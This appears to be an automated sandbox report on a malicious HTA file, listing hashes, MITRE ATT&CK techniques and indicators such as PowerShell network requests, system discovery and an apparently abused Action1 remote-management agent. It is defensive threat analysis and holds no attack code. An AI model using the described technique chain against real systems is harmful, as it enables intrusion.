f3bb4881fb3cfdb0a41682dbaa4bb618a40693bcf328e8328d32235d79cdf818

Analysis

max time kernel
299s
max time network
292s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/09/2026, 15:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dhI-awb6937974.hta
Size 3KB
Sample260929-sxpycsv13p
SHA256 f3bb4881fb3cfdb0a41682dbaa4bb618a40693bcf328e8328d32235d79cdf818
MD5 d8e754874c4defa5aa401689804ec9ca
SHA1 d87b107ff1794f715acfeb31cdc7240acf74bfb7
SHA512 5faa52a5e183fe78a2a4e4576ec77c27d216f9ed6789dee7e4439826f6c5d3024186b872681bce024ecc8c0c3f205979f3409035ee52fb1e6f8d94cdbf740a42
TLSH
T1DF7132A358485265AAB2732587DF9408F9BBD6620700F5E1F1C4A6802F2952682FBDFD
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://update.microsoft.com

Signatures

Badlisted process makes network request 19 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
84	3148	powershell.exe
88	3148	powershell.exe
90	3148	powershell.exe
97	2188	nslookup.exe
98	2188	nslookup.exe
129	4156	nslookup.exe
130	4156	nslookup.exe
143	5536	nslookup.exe
144	5536	nslookup.exe
145	1084	nslookup.exe
146	1084	nslookup.exe
153	2188	nslookup.exe
154	2188	nslookup.exe
165	3048	nslookup.exe
166	3048	nslookup.exe
167	1084	nslookup.exe
168	1084	nslookup.exe
169	4156	nslookup.exe
170	4156	nslookup.exe

Executes dropped EXE 4 IoCs

pid	Process
1068	action1_agent.exe
4652	action1_agent.exe
940	action1_agent.exe
956	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
3484	MsiExec.exe
3484	MsiExec.exe
3484	MsiExec.exe
5328	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\J:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\N:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
	\??\F:\	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
92	ifconfig.me

Drops file in System32 directory 45 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zrkspb35.dxq.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fep3koew.umi.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fvebbui3.i15.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_31txshia.4ux.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_5iwvyt0g.ped.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_dez3g42y.yow.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_53m5exqx.tad.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Disks Summary_2042-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zj35rxo2.ysw.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0r1pb2ys.1i4.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Boot Configurations_2019-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ju1pvpyk.l12.ps1	powershell.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bf0cmi0a.nyv.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gijznf3l.e0k.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Connections to TCPx002FIP Addresses_2036-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1802310110\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1681378422\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_z34oi4db.phf.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lf0gbrxw.luo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_f21hb0pi.aru.ps1	powershell.exe
File created	C:\Windows\SystemTemp\m5bmo1o4\m5bmo1o4.dll	powershell.exe
File created	C:\Windows\SystemTemp\m5bmo1o4\m5bmo1o4.out	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_1t0a5hxu.zee.ps1	powershell.exe
File created	C:\Windows\Installer\e597805.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1267D4D1AB745EA1.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_2mjqnpzc.ywo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3ogfm2tq.1ei.ps1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Event Logs_2021-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_348610636\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1086648081\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_fivn2f5h.nqw.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xb2zb13q.pfe.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_laxthzil.qvb.psm1	powershell.exe
File created	C:\Windows\Installer\e59780a.msi	msiexec.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_pd0rydsc.3ve.ps1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Update Statistics_2039-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_abr1pxwb.cbd.ps1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_348610636\extraction.js	msedge.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0cqslafm.bzh.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_me2n320e.nt5.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Startup Programs_2032-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jg1d2o1y.twc.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1067286649\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3eyvrgp0.db4.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Sound Devices_2038-1789648244.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1681378422\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_bykoaywb.inp.psm1	powershell.exe
File created	C:\Windows\SystemTemp\m5bmo1o4\m5bmo1o4.cmdline	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vjlfjn33.3vk.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ndigkmkc.tah.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_1086648081\deny_domains.list	msedge.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_yvfxnlzi.cd1.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_40ogjxwu.0cs.psm1	powershell.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5620_193654027\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0wt2wffp.kut.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_nj4vlnie.ryo.psm1	powershell.exe
File opened for modification	C:\Windows\Installer\MSI7D19.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 41 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4516	powershell.exe
4516	powershell.exe
5656	powershell.exe
1696	powershell.exe
696	powershell.exe
4072	powershell.exe
3524	powershell.exe
4640	powershell.exe
5764	powershell.exe
1084	powershell.exe
2544	powershell.exe
1444	powershell.exe
4304	powershell.exe
2292	powershell.exe
2496	powershell.exe
4240	powershell.exe
4208	powershell.exe
4820	powershell.exe
1900	powershell.exe
4136	powershell.exe
2188	powershell.exe
3648	powershell.exe
4888	powershell.exe
5524	powershell.exe
3148	powershell.exe
3048	powershell.exe
4320	powershell.exe
3768	powershell.exe
3048	powershell.exe
4136	powershell.exe
4800	powershell.exe
2668	powershell.exe
2956	powershell.exe
4752	powershell.exe
5536	powershell.exe
3368	powershell.exe
4716	powershell.exe
3416	powershell.exe
2040	powershell.exe
940	powershell.exe
4156	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2340	cmd.exe
4148	cmd.exe
2792	cmd.exe
2828	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2828	cmd.exe
932	PING.EXE
2340	cmd.exe
4364	PING.EXE
2792	cmd.exe
4736	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4276	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
